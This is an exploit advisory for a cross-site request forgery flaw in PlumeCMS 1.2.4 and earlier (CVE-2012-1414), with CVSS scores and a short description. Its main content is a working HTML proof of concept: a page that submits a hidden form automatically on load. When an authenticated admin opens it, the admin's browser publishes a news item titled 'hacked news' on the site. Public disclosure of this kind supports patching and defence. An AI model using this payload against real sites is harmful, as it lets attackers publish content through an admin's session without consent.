PlumeCMS 1.2.4 Cross Site Request Forgery

2012-02-21 / 2012-10-10

Credit: Ivano Binetti

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2012-1414

CWE: CWE-352

CVSS Base Score: 6.8/10

Impact Subscore: 6.4/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : PlumeCMS <= 1.2.4 CSRF Vulnerability
# Date : 20-02-2012
# Author : Ivano Binetti (http://ivanobinetti.com)
# Software link : http://sourceforge.net/projects/pxsystem/files/latest/download?source=directory
# Vendor site : http://pxsystem.sourceforge.net/
# Version : 1.2.4 (latest) and lower
# Tested on : Debian Squeeze (6.0)
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Insert and publish NEWS by Ivano Binetti]--------------------------------------------------+
Summary
1)Vulnerability Description
2)Exploit
+---------------------------------------------------------------------------------------------------------------------------------+
1)Vulnerability Description
PlumeCMS is prone to a CSRF Vulnerability which allows an attacker to insert and publish "News" (as PlumeCMS names his articles) when an
authenticated admin browses a web page containing the following html/javascript code.
2)Exploit
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add and publish News</H2>
<form method="POST" name="form0" action="http://localhost:80/plume/manager/news.php">
<input type="hidden" name="n_category_id" value="1"/>
<input type="hidden" name="n_content_format" value="html"/>
<input type="hidden" name="n_status" value="1"/>
<input type="hidden" name="n_comment_support" value="1"/>
<input type="hidden" name="n_subtype" value="2"/>
<input type="hidden" name="n_title" value="hacked news"/>
<input type="hidden" name="n_content" value="%3Cp%3Etest2%3C%2Fp%3E"/>
<input type="hidden" name="n_subject" value=""/>
<input type="hidden" name="n_titlewebsite" value=""/>
<input type="hidden" name="n_linkwebsite" value=""/>
<input type="hidden" name="publish" value="Save+%5Bs%5D"/>
</form>
</body>
</html>
+----------------------------------------------------------------------------------------------------------------------------------+

References:

http://ivanobinetti.com

See this note in RAW Version

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PlumeCMS 1.2.4 Cross Site Request Forgery

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